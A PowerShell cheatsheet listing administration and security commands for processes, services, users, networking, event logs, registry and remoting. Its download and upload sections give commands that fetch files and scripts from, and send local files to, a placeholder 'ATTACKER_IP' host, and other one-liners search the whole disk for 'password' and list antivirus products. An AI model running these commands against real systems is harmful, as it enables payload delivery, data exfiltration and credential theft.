PowerShell

---

Executive Summary

PowerShell is a Windows automation and administration shell used for system management, enumeration, file handling, networking, logging, and security operations.

This cheatsheet focuses on quick command lookup for common administrative and security workflows.

Help and Discovery

Show help:

Get-Help Get-Process

Show examples:

Get-Help Get-Process -Examples

Search commands:

Get-Command *service*

Show command syntax:

Get-Command Get-Service -Syntax

Show PowerShell version:

$PSVersionTable

System Information

Computer information:

Get-ComputerInfo

Operating system details:

Get-CimInstance Win32_OperatingSystem

Hostname:

hostname

Current user:

whoami

Environment variables:

Get-ChildItem Env:

Files and Directories

List files:

Get-ChildItem

List hidden files:

Get-ChildItem -Force

Recursive listing:

Get-ChildItem -Recurse

Read file:

Get-Content .\file.txt

Search file content:

Select-String -Path .\*.txt -Pattern "password"

Copy file:

Copy-Item .\file.txt C:\Temp\

Move file:

Move-Item .\file.txt C:\Temp\

Delete file:

Remove-Item .\file.txt

Processes

List processes:

Get-Process

Search process:

Get-Process *chrome*

Stop process by name:

Stop-Process -Name notepad

Stop process by PID:

Stop-Process -Id PID

Show process command lines:

Get-CimInstance Win32_Process | Select-Object ProcessId,ParentProcessId,CommandLine

Services

List services:

Get-Service

Running services:

Get-Service | Where-Object {$_.Status -eq "Running"}

Service details:

Get-CimInstance Win32_Service | Select-Object Name,State,StartMode,PathName

Start service:

Start-Service SERVICE_NAME

Stop service:

Stop-Service SERVICE_NAME

Users and Groups

Current user:

whoami

Local users:

Get-LocalUser

Local groups:

Get-LocalGroup

Local administrators:

Get-LocalGroupMember Administrators

Current user groups:

whoami /groups

Current user privileges:

whoami /priv

Networking

Show IP addresses:

Get-NetIPAddress

Show routes:

Get-NetRoute

Show TCP connections:

Get-NetTCPConnection

Show listening TCP ports:

Get-NetTCPConnection -State Listen

Test port:

Test-NetConnection TARGET_IP -Port PORT

DNS lookup:

Resolve-DnsName example.com

Show DNS cache:

Get-DnsClientCache

File Downloads

Download file:

Invoke-WebRequest http://ATTACKER_IP/file.exe -OutFile C:\Users\Public\file.exe

Download with basic parsing:

Invoke-WebRequest http://ATTACKER_IP/file.exe -OutFile C:\Users\Public\file.exe -UseBasicParsing

Alternative WebClient download:

(New-Object Net.WebClient).DownloadFile("http://ATTACKER_IP/file.exe", "C:\Users\Public\file.exe")

Download string:

(New-Object Net.WebClient).DownloadString("http://ATTACKER_IP/script.ps1")

File Uploads

Upload file with WebClient:

(New-Object Net.WebClient).UploadFile("http://ATTACKER_IP/upload", "C:\Temp\file.txt")

Upload with Invoke-WebRequest:

Invoke-WebRequest -Uri http://ATTACKER_IP/upload -Method POST -InFile C:\Temp\file.txt

Encoding and Hashing

File hash:

Get-FileHash .\file.exe -Algorithm SHA256

Base64 encode string:

[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("text"))

Base64 decode string:

[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("dGV4dA=="))

Base64 decode file:

[IO.File]::WriteAllBytes("C:\Temp\file.bin", [Convert]::FromBase64String("BASE64_STRING"))

Event Logs

List event logs:

Get-EventLog -List

Recent Security events:

Get-WinEvent -LogName Security -MaxEvents 20

Logon events:

Get-WinEvent -FilterHashtable @{LogName="Security"; Id=4624} -MaxEvents 20

Failed logons:

Get-WinEvent -FilterHashtable @{LogName="Security"; Id=4625} -MaxEvents 20

Events from last 24 hours:

$Start = (Get-Date).AddHours(-24)
Get-WinEvent -FilterHashtable @{LogName="Security"; StartTime=$Start}

Registry

Query key:

Get-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion"

Search registry path:

Get-ChildItem HKLM:\Software -Recurse -ErrorAction SilentlyContinue

Create value:

New-ItemProperty -Path "HKCU:\Software\Test" -Name "Name" -Value "Value" -PropertyType String -Force

Delete value:

Remove-ItemProperty -Path "HKCU:\Software\Test" -Name "Name"

Remote Management

Enable PowerShell remoting:

Enable-PSRemoting -Force

Create remote session:

$Session = New-PSSession -ComputerName TARGET_HOST

Run remote command:

Invoke-Command -ComputerName TARGET_HOST -ScriptBlock { hostname }

Copy file to session:

Copy-Item .\file.txt -ToSession $Session -Destination C:\Temp\

Copy file from session:

Copy-Item C:\Temp\file.txt -FromSession $Session -Destination .

Useful One-Liners

Find files containing keyword:

Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue | Select-String "password"

Find recently modified files:

Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-1)}

List startup Run keys:

Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

Show antivirus products:

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

Notes

• PowerShell activity is often logged by defenders.
• Invoke-WebRequest, DownloadString, and encoded commands are high-signal detection points.
• Prefer clear administrative use and documented workflows.
• Use Get-CimInstance over older Get-WmiObject when available.